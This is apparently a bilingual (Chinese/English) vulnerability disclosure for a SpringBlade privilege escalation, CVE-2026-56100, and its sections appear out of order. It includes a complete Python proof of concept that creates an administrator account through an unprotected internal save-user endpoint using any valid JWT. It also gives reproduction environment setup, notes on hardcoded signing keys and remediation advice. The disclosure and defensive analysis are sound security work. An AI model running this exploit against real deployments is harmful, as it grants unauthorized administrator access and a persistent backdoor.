\u5b8c\u6574\u9009\u9879\uff1a--target\uff08\u5fc5\u586b\uff0c\u524d\u7aef\u4ee3\u7406\u57fa\u5740\uff09/ --blade-auth\uff08\u5fc5\u586b\uff0cBlade-Auth \u5934\u503c\u6216\u88f8 JWT\uff09\n#   / --account\uff08\u9ed8\u8ba4 audit_admin_\uff0cASCII \u5f3a\u6821\u9a8c\uff09/ --password\uff08\u9ed8\u8ba4\u968f\u673a 16 \u4f4d\uff0c\u5b89\u5168\u5b57\u7b26\uff09\n#   / --tenant-id / --role-id / --dept-id / --post-id / --name / --real-name\n#   / --path\uff08\u9ed8\u8ba4 /api/blade-system/user/save-user\uff09/ --timeout\uff08\u9ed8\u8ba4 20s\uff09/ --store-raw-password\n```\n\n`poc/src/create_admin_with_blade_auth.py`\uff08\u5b8c\u6574\u811a\u672c\uff09\uff1a\n\n```python\n#!/usr/bin/env python3\n\"\"\"Create a SpringBlade administrator through the vulnerable save-user route.\n\nInputs required by default:\n  --target      Frontend proxy base URL, for example http://127.0.0.1:2888\n  --blade-auth  Value of the Blade-Auth header. A raw JWT is also accepted and\n                will be sent as \"bearer \".\n\nOn success, stdout contains only the created account and plaintext password.\nDiagnostic information is written to stderr.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport hashlib\nimport json\nimport re\nimport secrets\nimport string\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\n\n\nSAFE_ACCOUNT = re.compile(r\"^[A-Za-z0-9_.@-]+$\")\nDEFAULT_FRONTEND_PROXY_PATH = \"/api/blade-system/user/save-user\"\n\n\ndef springblade_digest(password: str) -&amp;gt; str:\n    \"\"\"Replicate org.springblade.core.tool.utils.DigestUtil.encrypt.\"\"\"\n    md5_hex = hashlib.md5(password.encode(\"utf-8\")).hexdigest()\n    return hashlib.sha1(md5_hex.encode(\"utf-8\")).hexdigest()\n\n\ndef normalize_blade_auth(value: str) -&amp;gt; str:\n    value = value.strip()\n    if value.lower().startswith(\"blade-auth:\"):\n        value = value.split(\":\", 1)[1].strip()\n    if value[:6].lower() in {\"bearer\", \"crypto\"}:\n        return value\n    return f\"bearer {value}\"\n\n\ndef random_password(length: int = 16) -&amp;gt; str:\n    alphabet = string.ascii_letters + string.digits\n    return \"\".join(secrets.choice(alphabet) for _ in range(length))\n\n\ndef build_url(target: str, path: str) -&amp;gt; str:\n    target = target.rstrip(\"/\")\n    if not path:\n        return target\n    if not path.startswith(\"/\"):\n        path = \"/\" + path\n    if target.endswith(\"/api\") and path.startswith(\"/api/\"):\n        path = path[len(\"/api\"):]\n    return target + path\n\n\ndef post_json(url: str, blade_auth: str, body: dict[str, str], timeout: float) -&amp;gt; tuple[int, str]:\n    data = json.dumps(body, separators=(\",\", \":\")).encode(\"utf-8\")\n    request = urllib.request.Request(\n        url,\n        data=data,\n        headers={\n            \"Blade-Auth\": normalize_blade_auth(blade_auth),\n            \"Content-Type\": \"application/json\",\n            \"Accept\": \"application/json\",\n        },\n        method=\"POST\",\n    )\n    try:\n        with urllib.request.urlopen(request, timeout=timeout) as response:\n            return response.status, response.read().decode(\"utf-8\", errors=\"replace\")\n    except urllib.error.HTTPError as exc:\n        return exc.code, exc.read().decode(\"utf-8\", errors=\"replace\")\n\n\ndef parse_args() -&amp;gt; argparse.Namespace:\n    parser = argparse.ArgumentParser(\n        description=\"Create an administrator via the SpringBlade frontend /api proxy to the vulnerable save-user route.\"\n    )\n    parser.add_argument(\"--target\", required=True, help=\"Frontend proxy base URL, e.g. http://127.0.0.1:2888\")\n    parser.add_argument(\"--blade-auth\", required=True, help=\"Blade-Auth header value or raw JWT\")\n    parser.add_argument(\"--account\", default=f\"audit_admin_{int(time.time())}\", help=\"Admin account to create\")\n    parser.add_argument(\"--password\", default=None, help=\"Plaintext password to return; generated if omitted\")\n    parser.add_argument(\"--tenant-id\", default=\"000000\")\n    parser.add_argument(\"--role-id\", default=\"1123598816738675201\", help=\"Default SpringBlade administrator role id\")\n    parser.add_argument(\"--dept-id\", default=\"1123598813738675201\")\n    parser.add_argument(\"--post-id\", default=\"1123598817738675201\")\n    parser.add_argument(\"--name\", default=\"audit-admin\")\n    parser.add_argument(\"--real-name\", default=\"audit\")\n    parser.add_argument(\n        \"--path\",\n        default=DEFAULT_FRONTEND_PROXY_PATH,\n        help=f\"Request path under --target; default {DEFAULT_FRONTEND_PROXY_PATH}\",\n    )\n    parser.add_argument(\"--timeout\", type=float, default=20.0)\n    parser.add_argument(\n        \"--store-raw-password\",\n        action=\"store_true\",\n        help=\"Store the plaintext password directly. Do not use unless you only need DB write proof.\",\n    )\n    return parser.parse_args()\n\n\ndef main() -&amp;gt; int:\n    args = parse_args()\n    if not SAFE_ACCOUNT.match(args.account):\n        print(f\"Refusing unsafe account value: {args.account!r}\", file=sys.stderr)\n        return 2\n\n    plaintext_password = args.password or random_password()\n    stored_password = plaintext_password if args.store_raw_password else springblade_digest(plaintext_password)\n    url = build_url(args.target, args.path)\n    body = {\n        \"tenantId\": args.tenant_id,\n        \"account\": args.account,\n        \"password\": stored_password,\n        \"name\": args.name,\n        \"realName\": args.real_name,\n        \"roleId\": args.role_id,\n        \"deptId\": args.dept_id,\n        \"postId\": args.post_id,\n    }\n\n    print(f\"[*] POST {url}\", file=sys.stderr)\n    print(f\"[*] account={args.account} roleId={args.role_id}\", file=sys.stderr)\n    if not args.store_raw_password:\n        print(\"[*] password is stored as SpringBlade DigestUtil.encrypt(plaintext)\", file=sys.stderr)\n\n    status, response_body = post_json(url, args.blade_auth, body, args.timeout)\n    print(f\"[*] HTTP {status}\", file=sys.stderr)\n    print(f\"[*] response={response_body}\", file=sys.stderr)\n\n    try:\n        parsed = json.loads(response_body)\n    except json.JSONDecodeError:\n        parsed = {}\n\n    success = status == 200 and (\n        parsed.get(\"data\") is True\n        or parsed.get(\"success\") is True\n        or parsed.get(\"code\") == 200\n    )\n    if not success:\n        print(\"[!] administrator creation did not succeed\", file=sys.stderr)\n        return 1\n\n    print(f\"account={args.account}\")\n    print(f\"password={plaintext_password}\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\n&amp;gt; \u6ce8\uff1a\u9488\u5bf9 **2.7.3 ~ 4.1.0**\uff08\u524d\u7f00 `/blade-user`\uff0c\u89c1 \u00a72.2\uff09\uff0c\u811a\u672c\u4e00\u5c06 `POC_PATH_PREFIX=/blade-user`\uff0c\u5bc6\u94a5\u6309 \u00a76.4 \u9009\u7528\uff082.7.3 \u4e3a `\"Blade\"`\uff0c2.8.0 ~ v3.5.0 \u4e3a\u957f\u4e32\u786c\u7f16\u7801\uff09\uff1b\u811a\u672c\u4e8c\u5c06 `--path` \u6539\u4e3a `/api/blade-user/user/save-user`\u3002\u6570\u636e\u5e93\u67e5\u8be2\u76ee\u6807\u8868\u540d\u3001\u5e93\u540d\u3001\u5bb9\u5668\u540d\u9700\u5bf9\u9f50\u5b9e\u9645\u73af\u5883\u3002\n\n---\n\n## 9. \u73af\u5883\u642d\u5efa\uff08\u4ece\u96f6\u5230\u590d\u73b0\uff09\n\n\u4ee5\u4e0b\u4e3a\"\u4e00\u952e\u590d\u73b0 CVE-2026-56100\"\u7684\u6700\u5c0f\u73af\u5883\uff08Docker\uff09\uff0c\u6750\u6599\u6765\u81ea SpringBlade \u81ea\u5e26\u90e8\u7f72\u6587\u4ef6\u3002**\u5df2\u5b9e\u6d4b\u4fee\u6b63**\u539f\u547d\u4ee4\u4e2d\u8dd1\u4e0d\u901a\u7684\u51e0\u5904\uff08nacos 3.x \u5fc5\u9700\u53c2\u6570\u3001MySQL8 \u516c\u94a5\u83b7\u53d6\u3001SQL \u6587\u4ef6\u5dee\u5f02\u3001\u53d8\u91cf\u540d\u7b14\u8bef\uff09\u3002\n\n### 9.1 \u6e90\u7801\n\n```bash\ngit clone https://github.com/chillzhuang/SpringBlade.git   # \u6216 gitee: https://gitee.com/smallc/SpringBlade.git\ngit checkout v4.10.0        # \u53d7\u5f71\u54cd\u7248\u672c\uff08\u4ea6\u53ef\u7528 2.7.3 / v3.0.0 / v3.1.0 \u7b49\uff0c\u89c1 \u00a72\uff09\n```\n\n### 9.2 \u6784\u5efa\n\n- **v4.x\uff08JDK 17 / Maven 3.9\uff09**\uff1a\u6784\u5efa `blade-gateway` \u4e0e `blade-service/blade-system`\uff1b2.7.3 ~ 4.1.0 \u65f6\u7b2c\u4e8c\u4e2a\u6a21\u5757\u4e3a `blade-service/blade-user`\u3002\n- **2.7.3 ~ v3.5.0\uff08JDK 8 / Maven 3.6\uff09**\u3002\n\n```bash\n# v4.x\nmvn -pl blade-gateway,blade-service/blade-system -am -DskipTests -Dflatten.skip=true package\n# 2.7.3 ~ 4.1.0\nmvn -pl blade-gateway,blade-service/blade-user -am -DskipTests -Dflatten.skip=true package\n# \u4ea7\u51fa\uff1ablade-gateway/target/blade-gateway.jar\u3001blade-service/blade-system(\u6216 blade-user)/target/*.jar\n```\n\n&amp;gt; \u5bb9\u5668\u5316\u6784\u5efa\u793a\u4f8b\uff08\u542b\u4f9d\u8d56\u7f13\u5b58\u6302\u8f7d\uff09\uff1a\n&amp;gt; ```bash\n&amp;gt; docker run --rm -v \"$PWD:/src\" -v \"$HOME/.m2:/root/.m2\" -w /src maven:3.9-eclipse-temurin-17 \\\n&amp;gt;   mvn -pl blade-gateway,blade-service/blade-system -am -DskipTests -Dflatten.skip=true package\n&amp;gt; ```\n\n### 9.3 \u4e2d\u95f4\u4ef6\uff08Docker\uff09\n\n\u4e09\u5904\u5df2\u5b9e\u6d4b\u4fee\u6b63\uff1a\u2460 nacos 3.x \u5f3a\u5236\u8981\u6c42 **\u226532 \u5b57\u8282 base64** \u7684 `NACOS_AUTH_TOKEN` \u53ca `NACOS_AUTH_IDENTITY_KEY/VALUE`\uff08\u793a\u4f8b\u7684 `'token'` \u592a\u77ed\u4f1a\u542f\u52a8\u5931\u8d25\uff09\uff1b\u2461 `blade.mysql.all.create.sql` **\u4ec5 v4.x \u5b58\u5728**\uff0c2.7.x / v3.x \u5bf9\u5e94\u7684\u5efa\u5e93\u811a\u672c\u4e3a `doc/sql/blade/blade-saber-mysql.sql`\uff1b\u2462 \u7aef\u53e3\u53ef\u6309\u9700\u8c03\u6574\uff0c\u4e0b\u6587\u7ed9\u51fa\u5b8c\u6574\u53ef\u7528\u547d\u4ee4\u3002\n\n```bash\n# MySQL\uff08v4.x \u7528 blade.mysql.all.create.sql\uff1bv3.x/2.x \u6539\u6302 blade-saber-mysql.sql\uff09\ndocker run -d --name sb-mysql -e MYSQL_ROOT_PASSWORD=root -e MYSQL_DATABASE=blade \\\n  -p 3307:3306 -v \"$PWD/doc/sql/blade/blade.mysql.all.create.sql:/docker-entrypoint-initdb.d/01.sql:ro\" mysql:8.0\n# Redis\ndocker run -d --name sb-redis -p 6380:6379 redis:7\n# Nacos\uff08standalone\uff1btoken \u7528 base64 -w0 \u907f\u514d\u6362\u884c\uff1bnacos client 1.4.x ~ 2.x \u6ce8\u518c\u7ecf\u5b9e\u6d4b\u5747\u4e0e 3.1.0 server \u517c\u5bb9\uff09\nNACOS_TOKEN=$(printf %s 'SecretKey012345678901234567890123456789012345678901234567890123456789' | base64 -w0)\ndocker run -d --name sb-nacos -p 8848:8848 -p 9848:9848 -p 9849:9849 \\\n  -e MODE=standalone -e NACOS_AUTH_ENABLE=false \\\n  -e NACOS_AUTH_TOKEN=\"$NACOS_TOKEN\" \\\n  -e NACOS_AUTH_IDENTITY_KEY=serverIdentity -e NACOS_AUTH_IDENTITY_VALUE=security \\\n  nacos/nacos-server:v3.1.0\n```\n\n### 9.4 \u542f\u52a8\u670d\u52a1\n\n```bash\nSIGN_KEY='springblade-vuln-sign-key-20260528-32chars'   # v3.6.0 ~ v4.10.0 \u9700\u663e\u5f0f\u63d0\u4f9b\uff08\u226532 \u4f4d\uff09\n# \u7528\u6237\u670d\u52a1\uff08v4.2.0 \u8d77\u4e3a blade-system:8106\uff1b2.7.3~4.1.0 \u4e3a blade-user\uff0c\u7aef\u53e3\u53ef\u81ea\u5b9a\uff0c\u5982 8102\uff09\n# \u6ce8\uff1aSpringBlade \u7684 LauncherServiceImpl \u4f1a\u628a LauncherConstant.nacosAddr(dev)=127.0.0.1:8848 \u6ce8\u5165 System\n# \u5c5e\u6027\u3002\u82e5 nacos \u4e0d\u5728\u672c\u673a 8848\uff0c\u5fc5\u987b\u7528 CLI \u53c2\u6570 --spring.cloud.nacos.discovery.server-addr= \u8986\u76d6\u3002\njava -jar blade-service/blade-system/target/blade-system.jar \\\n  --spring.profiles.active=dev --server.port=8106 \\\n  --spring.cloud.nacos.config.enabled=false \\\n  --spring.cloud.nacos.discovery.server-addr=127.0.0.1:8848 \\\n  --blade.datasource.dev.url='jdbc:mysql://127.0.0.1:3307/blade?useSSL=false&amp;amp;allowPublicKeyRetrieval=true&amp;amp;characterEncoding=utf8&amp;amp;serverTimezone=Asia/Shanghai' \\\n  --blade.datasource.dev.username=root --blade.datasource.dev.password=root \\\n  --spring.data.redis.host=127.0.0.1 --spring.data.redis.port=6380\n# \u6ce8\u610f\uff1a\u9488\u5bf9 MySQL 8 \u7684 caching_sha2_password \u5fc5\u987b\u52a0 allowPublicKeyRetrieval=true\uff08\u7f3a\u4e86\u670d\u52a1\u542f\u52a8\u5373\u5d29\uff09\n# 2.7.3 ~ v3.5.0 \u7528 --spring.redis.host/port\uff1bv3.6.0 \u8d77\u7528 --spring.data.redis.host/port\n\n# blade-gateway\uff08\u7aef\u53e3 18080\uff1blocator \u9ed8\u8ba4\u5df2\u5f00\u542f\u89c1 bootstrap.yml\uff09\njava -jar blade-gateway/target/blade-gateway.jar \\\n  --spring.profiles.active=dev --server.port=18080 \\\n  --spring.cloud.nacos.config.enabled=false \\\n  --spring.cloud.nacos.discovery.server-addr=127.0.0.1:8848 \\\n  --blade.token.sign-key=\"$SIGN_KEY\"\n# 2.7.3 ~ v3.5.0 \u7684\u7f51\u5173\u65e0\u9700 --blade.token.sign-key\uff08\u5bc6\u94a5\u786c\u7f16\u7801\uff0c\u89c1 \u00a76.4\uff09\n```\n\n&amp;gt; WSL2/\u5bb9\u5668\u73af\u5883\u53ef\u5c06 `java -jar` \u6362\u6210 `docker run -d --network host -v :/app/app.jar eclipse-temurin:8-jre(\u6216 :17-jre) java -jar /app/app.jar &amp;lt;\u53c2\u6570&amp;gt;`\u3002\n\n### 9.5 \u8fd0\u884c PoC \u5e76\u6838\u5bf9\n\n```bash\nPOC_GATEWAY_URL=http://127.0.0.1:18080 POC_PATH_PREFIX=/blade-system \\\nPOC_SIGN_KEY=\"$SIGN_KEY\" POC_MYSQL_CONTAINER=sb-mysql \\\npython3 poc/src/springblade_service_auth_bypass_poc.py\n# 2.7.3 ~ 4.1.0 \u6539\u4e3a POC_PATH_PREFIX=/blade-user\uff0c\u5bc6\u94a5\u6309 \u00a76.4\uff082.7.3 \u4e3a 'Blade'\uff09\n```\n\n\u9884\u671f\u5173\u952e\u8f93\u51fa\uff08\u5b9e\u6d4b\u4e0e v4.10.0 \u4e00\u81f4\uff09\uff1a\n```text\n[*] No-token control status: 401 {\"msg\":\"\u7f3a\u5931\u4ee4\u724c,\u9274\u6743\u5931\u8d25\",...}\n[*] Exploit status: 200 {\"code\":200,\"success\":true,\"data\":true,\"msg\":\"\u64cd\u4f5c\u6210\u529f\"}\n[*] Database row:  000000 poc_ poc-report-plain 1123598816738675201 ... \n[+] Vulnerability reproduced: low-privilege JWT reached save-user and created a user.\n```\n\n&amp;gt; **\u5bf9\u7167\u7ec4\uff08\u5df2\u4fee\u590d v5.0.0\uff0c\u9759\u6001\u6838\u5b9e\uff09**\uff1a`saveUser` \u63a5\u53e3\u5df2\u79fb\u9664\uff0c\u540c\u4e00\u8bf7\u6c42\u8fd4\u56de `404 \u6ca1\u627e\u5230\u8bf7\u6c42`\uff1b\u5185\u90e8 `/feign/...` \u7531 `InnerFilter` \u62e6\u622a\u8fd4\u56de `403 \u7981\u6b62\u8bbf\u95ee\u5185\u90e8\u63a5\u53e3`\u3002\n\n---\n\n## 10. \u4fee\u590d\u5efa\u8bae\n\n1. **\u5347\u7ea7\u81f3 `v5.0.0` \u53ca\u4ee5\u4e0a**\uff08\u542b\u6700\u65b0 `v5.0.1` / master\uff09\u3002\n2. \uff08\u82e5\u65e0\u6cd5\u5347\u7ea7\uff09**\u4e0d\u8981\u628a Feign \u5b9e\u73b0\u7c7b\u5f53\u4f5c\u5916\u90e8\u53ef\u8fbe\u7684 `@RestController`**\uff1a\u5c06\u5185\u90e8 Feign \u63a5\u53e3\u79fb\u5230\u72ec\u7acb `servlet path`\uff08\u5982 `/internal/`\uff09\u5e76\u5728\u7f51\u5173\u5c42\u5bf9 `/internal`\u3001`/feign` \u7b49\u524d\u7f00\u7edf\u4e00\u62e6\u622a\u3002\n3. \u5bf9\u5185\u90e8\u7528\u6237\u521b\u5efa\u63a5\u53e3**\u5f3a\u5236\u670d\u52a1\u95f4\u9274\u6743**\uff08\u5185\u90e8\u8c03\u7528\u4ee4\u724c / mTLS / \u6765\u6e90 IP \u767d\u540d\u5355\uff09\uff0c\u5e76\u8865\u5145\u4e25\u683c\u7684 `@PreAuth` \u6821\u9a8c\u3002\n4. **\u4e1a\u52a1\u6536\u53e3**\uff1a\u5373\u4fbf\u4f9b\u670d\u52a1\u95f4\u8c03\u7528\uff0c\u4e5f\u4e0d\u76f4\u63a5 `service.save` \u6301\u4e45\u5316\u5916\u90e8\u53ef\u63a7\u5b9e\u4f53\uff1b\u7edf\u4e00\u590d\u7528\u5e26\u6709\u79df\u6237\u7ed1\u5b9a\u3001\u5bc6\u7801\u52a0\u5bc6\u3001\u552f\u4e00\u6027\u6821\u9a8c\u7684\u4e1a\u52a1\u5165\u53e3\uff08\u5982 `userService.submit`\uff09\u3002\n5. \u751f\u4ea7\u73af\u5883\u5efa\u8bae**\u5173\u95ed discovery locator**\uff0c\u6539\u7528\u663e\u5f0f\u8def\u7531\u767d\u540d\u5355\uff0c\u9010\u6761\u914d\u7f6e\u9274\u6743\u7b56\u7565\u3002\n6. \u5bf9 `User` \u521b\u5efa\u63a5\u53e3\u505a**\u5b57\u6bb5\u767d\u540d\u5355**\uff0c\u7981\u6b62\u666e\u901a\u8bf7\u6c42\u63a7\u5236 `tenantId`\u3001`roleId`\u3001`deptId`\u3001`postId` \u7b49\u9ad8\u5371\u5b57\u6bb5\u3002\n\n### \u5e38\u89c1\"\u770b\u4f3c\u5df2\u4fee\u590d\u4f46\u4ecd\u4f1a\u88ab\u7ed5\"\u7684\u7f13\u89e3\u8bef\u533a\n\n- **\u8bef\u4ee5\u4e3a `@Hidden` \u5df2\u9690\u85cf\u4e86\u63a5\u53e3**\uff1a`@Hidden` \u53ea\u5f71\u54cd springdoc-openapi \u6587\u6863\u751f\u6210\uff0cSpring MVC \u8def\u7531\u4e00\u65e6\u6ce8\u518c\u5c31\u65e0\u6cd5\u64a4\u9500\uff08\u89c1 \u00a76.3\uff09\u2014\u2014\u9690\u85cf\u4e0d\u7b49\u4e8e\u4e0d\u53ef\u8fbe\u3002\n- **\u8bef\u4ee5\u4e3a\u52a0\u4e86 `@RestController` \u5c31\u6709\u9274\u6743**\uff1a\u8be5\u8def\u5f84\u7ee7\u627f\u7684\u662f `IUserClient` Feign \u63a5\u53e3\uff0c**Feign \u63a5\u53e3\u672c\u8eab\u4e0d\u505a\u4efb\u4f55\u6743\u9650\u6821\u9a8c**\uff1b\u4f7f\u7528\u8005\u82e5\u53ea\u5728\u8be5 Controller \u5185\u90e8\u6dfb\u52a0 `@PreAuth` \u800c\u5fd8\u4e86\u7f51\u5173\u8eab\u4efd\u9a8c\u8bc1\uff0c\u4ecd\u4f1a\u88ab\u540c\u4e00\u63a5\u53e3 bypass\u3002\n- **\u53ea\u62e6\u622a `RequestFilter`**\uff1a\u90e8\u5206\u90e8\u7f72\u4ee5\u4e3a\u5220\u9664 `RequestFilter` \u5c31\u5b89\u5168\u2014\u2014\u90a3\u662f\u9519\u7684\uff0cdiscovery locator \u7684\u9ed8\u8ba4 `RewritePath` \u4f9d\u7136\u5265\u79bb\u670d\u52a1\u540d\uff08\u89c1 \u00a72.1/\u00a75\uff09\u3002\u4fee\u590d\u5fc5\u987b**\u540c\u65f6\u5173\u95ed locator**\u6216**\u5728\u7f51\u5173\u8868\u91cc\u52a0\u5185\u90e8\u63a5\u53e3\u9ed1\u540d\u5355**\u3002\n- **\u4f9d\u8d56\u7f51\u5173 token \u6821\u9a8c\uff08\u542b `parseJWT` \u80fd\u7528\u5c31\u653e\u884c\uff09**\uff1a\u4ec5\u9a8c\u7b7e\u540d\u4e0d\u9a8c\u8bed\u4e49\uff08tenant/role/user \u5339\u914d\u5173\u7cfb\uff09\u7b49\u4e8e\"\u4fe1\u4efb\u94a9\u5b50\u4e0a\u6302\u4e86 valid JWT \u5c31\u653e\u884c\"\u2014\u2014\u8fd9\u6b63\u662f\u672c\u6f0f\u6d1e\u7684\u6838\u5fc3\u3002\n\n---\n\n## 11. \u53c2\u8003\u8d44\u6599\n\n- \u5b98\u65b9\u4ed3\u5e93\uff1aGitee `https://gitee.com/smallc/SpringBlade`\uff1bGitHub \u955c\u50cf `https://github.com/chillzhuang/SpringBlade`\n- \u53d7\u5f71\u54cd\u7248\u672c\uff1a**2.7.3 &amp;lt; v5.0.0\uff08\u4fee\u590d\u7248\u672c\u4e4b\u524d\u7684\u6240\u6709\u7248\u672c\uff09**\uff1b\u5176\u4e2d\u4ed3\u5e93\u6700\u540e\u53d7\u5f71\u54cd tag \u4e3a `v4.10.0`\uff08`3002202ed38ca0eed0bbf1f69d33fd056ef6b515`\uff0c2026-05-10\uff1b2.7.3 commit `503c853`\uff0c2020-09-14\uff09\n- \u4fee\u590d\u5f15\u5165\u7248\u672c\uff1a`v5.0.0`\uff08tag `c69b9547c942c697da2f3ee6a9265b6004abd645`\uff0c2026-07-30\uff09\n- CVE\uff1a**CVE-2026-56100**\n- \u5b98\u65b9\u5f00\u53d1\u624b\u518c\uff1a`https://gitee.com/smallc/SpringBlade/wikis/SpringBlade\u5f00\u53d1\u624b\u518c`\n\n---\n\n*\u672c\u6587\u6863\u7528\u4e8e\u5b89\u5168\u7814\u7a76 / \u6f0f\u6d1e\u62ab\u9732\uff0c\u8bf7\u52ff\u5728\u672a\u83b7\u6388\u6743\u65f6\u7528\u4e8e\u5b9e\u9645\u76ee\u6807\u6216\u9879\u76ee\u3002\u8bf7\u5728\u4fee\u590d\u524d\u5bf9\u53d7\u5f71\u54cd\u7cfb\u7edf\u91c7\u53d6\u7f13\u89e3\u63aa\u65bd\u3002*\n\n**\u62ab\u9732\u4fe1\u606f**\uff1a\n- \u5f71\u54cd\u529b\u8bc4\u7ea7\uff1a\u9ad8\u5371\uff08CVSS 8.1\uff09\n- \u5df2\u5206\u914d CVE-2026-56100\n- \u5f71\u54cd\u8303\u56f4 2.7.3 \u81f3 v5.0.0 \u4e4b\u524d\u6240\u6709\u7248\u672c\uff082020-09-14 ~ 2026-05-10\uff0cv4.10.0 \u4e3a\u6700\u540e\u53d7\u5f71\u54cd tag\uff09\uff0c\u5df2\u5728 v5.0.0 \u4fee\u590d\n\n# SpringBlade Privilege Escalation Disclosure (CVE-2026-56100 / Privilege Escalation)\n\n&amp;gt; **Any authenticated user \u2192 system administrator privilege escalation** (via unauthorized access to an internal Feign REST controller)\n&amp;gt;\n&amp;gt; **CVE-2026-56100** \uff5c Type: Privilege Escalation \uff5c Severity: **High** \uff5c CVSS 3.0: **8.1**\n&amp;gt;\n&amp;gt; CVSS Vector: `CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N`\n\n---\n\n## Table of Contents\n\n0. [TL;DR (Summary)](#0-tldr-summary)\n1. [Vulnerability Information](#1-vulnerability-information)\n2. [Affected Versions](#2-affected-versions)\n3. [Prerequisites for Exploitation](#3-prerequisites-for-exploitation)\n4. [Impact](#4-impact)\n5. [Technical Analysis / Root Cause](#5-technical-analysis--root-cause)\n6. [Code Evidence (Precisely Annotated by Version)](#6-code-evidence-precisely-annotated-by-version)\n7. [Fix Status](#7-fix-status)\n8. [Reproduction Steps and Verification (Full PoC)](#8-reproduction-steps-and-verification-full-poc)\n9. [Environment Setup (From Scratch to Reproduction)](#9-environment-setup-from-scratch-to-reproduction)\n10. [Remediation Recommendations](#10-remediation-recommendations)\n11. [References](#11-references)\n\n---\n\n## 0. TL;DR (Summary)\n\nSpringBlade (the SpringBlade microservice edition, Java backend) enables **service-discovery-based dynamic routing** (discovery locator) in the `blade-gateway` gateway, and during authentication it **only verifies that a JWT parses successfully, without checking user roles, service-to-service caller identity, or access policy for internal Feign endpoints**. Meanwhile, in the downstream user-service module, the `UserClient` implementation class\u2014which should only serve inter-service Feign calls\u2014is annotated with `@RestController`, exposing it as a plain HTTP entry point. Its `saveUser` method has **no `@PreAuth` permission check whatsoever**, and directly calls `service.save(user)` to persist the user object from the request body 1:1.\n\n**Consequence**: Any low-privilege user holding **any valid JWT** can craft `POST /blade-user/user/save-user` (2.7.3 ~ 4.1.0) or `POST /blade-system/user/save-user` (v4.2.0+) through the gateway, directly invoking the downstream internal user-creation endpoint. With the attacker fully controlling fields such as `tenantId` / `account` / `password` / `roleId`, they can **create a super-administrator (`administrator`) account**, with the **password written to the database in plaintext** (bypassing `DigestUtil.encrypt` in the normal flow). This enables privilege escalation from regular user to administrator, cross-tenant data pollution, and a persistent backdoor.\n\nThe vulnerability exists from **2.7.3** (2020-09-14, when the `save-user` endpoint was first introduced) through **all versions prior to v5.0.0** (the last affected tag is `v4.10.0`, 2026-05-10), and was **officially fixed in `v5.0.0`** (`CVE-2026-56100`).\n\n---\n\n## 1. Vulnerability Information\n\n| Field | Content |\n|---|---|\n| **Vulnerability Name** | SpringBlade Privilege Escalation (stemming from a service-to-service authorization bypass) |\n| **CVE ID** | **CVE-2026-56100** |\n| **Product / Vendor** | SpringBlade (open-source microservice development platform, built on Spring Boot / Spring Cloud Alibaba / MyBatis-Plus) |\n| **Components** | `blade-gateway` (gateway) + `blade-system`/`blade-user` (user service) |\n| **Affected Versions** | **2.7.3 &amp;lt; v5.0.0 (all versions before the fix)** (lower boundary analyzed in \u00a72; 2.7.3 / v3.0.0 / v3.1.0 / v4.10.0 verified by live reproduction) |\n| **First Fixed Version** | **v5.0.0** |\n| **Severity** | High |\n| **CVSS 3.0** | 8.1 |\n| **CVSS Vector** | `CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` |\n| **Attack Vector** | Network (remote) |\n| **Attack Complexity** | Low |\n| **Privileges Required** | Low (any valid JWT, or one forged after obtaining the gateway signing key) |\n| **User Interaction** | None |\n| **Post-Exploitation Impact** | Full escalation to administrator, cross-tenant data pollution, account-system compromise, plaintext passwords written to the database |\n\n---\n\n## 2. Affected Versions\n\n### 2.1 Affected Version Range\n\n| Version | `saveUser` write endpoint | Gateway path-stripping mechanism | Affected? |\n|---|---|---|---|\n| v2.0.0 ~ v2.7.2 | **None** | locator default `RewritePath` | \u274c Not affected (no write endpoint) |\n| **2.7.3** (2020-09-14) | Present (first introduced) | locator default `RewritePath` | \u2705 **Affected (first exploitable version, verified live)** |\n| 2.8.0 ~ v3.0.1 | Present | locator default `RewritePath` | \u2705 **Affected** (v3.0.0 verified live) |\n| v3.0.2 ~ v4.10.0 | Present | locator default `RewritePath` + custom `RequestFilter` (introduced in v3.0.2) | \u2705 **Affected** (v3.1.0 / v4.10.0 verified live) |\n| **v5.0.0 / v5.0.1** | **Removed** | `InnerFilter` (403 interception) | \u2705 **Fixed (verified statically)** |\n\n- **Lowest affected version: 2.7.3** \u2014 the `save-user` write endpoint was first introduced in 2.7.3.RELEASE (commit `503c853`, 2020-09-14); in 2.7.2 and earlier, `UserClient` only had the query endpoints `userInfo` / `userAuthInfo`.\n- **About \"gateway path stripping\"**: Spring Cloud Gateway's discovery locator automatically generates a default route filter `RewritePath '/'+serviceId+'/(?.*)' \u2192 '/${remaining}'` for each service (in the Hoxton / 2020.0.x era, SC Gateway 2.2.x / 3.0.x's `GatewayDiscoveryClientAutoConfiguration` all embed this default; verified one by one in the bytecode of 2.2.6 / 3.0.1 / 3.0.3, with 2.2.5 indirectly confirmed by the live 2.7.3 reproduction). Therefore, even **without** SpringBlade's custom `RequestFilter` (introduced only in v3.0.2), an external request `/blade-user/user/save-user` is still rewritten to `/user/save-user` by the locator's default filter, hitting the downstream internal endpoint \u2014 **the successful live reproduction on v3.0.0 (which has no `RequestFilter`) is direct evidence of this**. `RequestFilter` is not a necessary link in the vulnerability chain.\n- **Highest affected version: v4.10.0 through just before v5.0.0** (the last affected tag in the repository is v4.10.0, 2026-05-10; between v4.10.0 and v5.0.0, `saveUser` remained present the whole time\u2014the only removal happened in the v5.0.0 fix commit, verified via `git log -S`). The vendor removed this write endpoint and added internal-endpoint interception in **v5.0.0**, so it no longer reproduces from v5.0.0 onward.\n\n### 2.2 Correspondence of Affected Source Code\n\n| Affected Version | User-Service Module | Gateway Route Prefix | JWT Signing Key |\n|---|---|---|---|\n| 2.7.3 | `blade-user` | `/blade-user/...` | Hardcoded `\"Blade\"` (see \u00a76.4) |\n| 2.8.0 ~ v3.5.0 | `blade-user` | `/blade-user/...` | Hardcoded `\"bladex...commercialproject\"` (see \u00a76.4) |\n| v3.6.0 ~ 4.1.0 | `blade-user` | `/blade-user/...` | Config item `blade.token.sign-key` (\u226532 chars, enforced at gateway startup) |\n| v4.2.0 ~ v4.10.0 | `blade-system` (the `blade-user` module was merged in at v4.2.0) | `/blade-system/...` | Config item `blade.token.sign-key` |\n\n---\n\n## 3. Prerequisites for Exploitation\n\nA deployment is at risk if it meets the following 